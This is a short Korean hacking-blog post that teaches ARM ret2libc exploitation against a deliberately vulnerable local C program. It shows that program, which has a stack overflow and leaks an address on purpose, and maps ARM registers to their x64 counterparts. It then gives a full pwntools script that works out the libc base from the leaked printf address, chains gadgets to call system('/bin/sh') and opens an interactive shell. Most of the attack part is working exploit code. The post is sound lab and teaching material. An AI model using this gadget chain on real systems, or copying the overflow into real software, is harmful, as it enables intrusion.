고졸백수해킹일기

ARM exploit 본문

Pwnable

ARM exploit

ExploitSori 2020. 9. 12. 16:54

ARM exploit에 대해서 간략한 설명.

// gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl

#define _GNU_SOURCE

#include <stdio.h>

#include <unistd.h>

#include <dlfcn.h>

void vuln(){

    char buf[54] = "";

    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");

    printf("Printf() address : %p\n",printf_addr);

    read(0, buf, 100); }

void main(){

    vuln();

}

lazenca.net의 유명한 소스.

 

arm 아키텍쳐는 x64와 매우 비슷하다.

pop ebp; ret == pop {r11, pc}
call == bl
r0 == rdi
r1 == rsi
r2 == rdx
r3 == rcx
r11 == rbp
sp == rsp

함수의 인자들이 r0부터 차례대로 들어간다.

그렇기에 함수에 진입했을때 레지스터의 값만 바꿔주면 인자가 들어간다.
x64 exploit에서 "pop rdi;ret" 가젯을 사용했으니

arm에서는 "pop {r0, pc}"

 

from pwn import *

p = process('./ret2libc')
#p = process('./ret')
context(arch='arm',os='linux')

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x48430
sysAddr = libcBase + 0x389c8
binsh = libcBase + 0x0012BB6C
popr4pc = libcBase + 0x0003a5c4
movr0r4 = libcBase + 0xf5754
print("libc : "+hex(libcBase))
print("system : "+hex(sysAddr))
print("/bin/sh : "+hex(binsh))
print("popr4pc : "+hex(popr4pc))
print("movr0r4 : "+hex(movr0r4))

print(b"gad : "+p32(popr4pc))
payload = b"A" * 60
payload += p32(popr4pc)
payload += p32(binsh)
payload += p32(movr0r4)
payload += b"ZZZZ"
payload += p32(sysAddr)
p.send(payload)

p.interactive()

 

 

'Pwnable' 카테고리의 다른 글

ophcrack  (0) 2022.11.25
pdb symbol 수동으로 다운  (0) 2020.08.14
defcon2017 smashme (exploit only)  (0) 2018.03.28
pwntools shellcraft 사용법  (0) 2018.03.15
codegate2014 nuclear  (0) 2018.03.09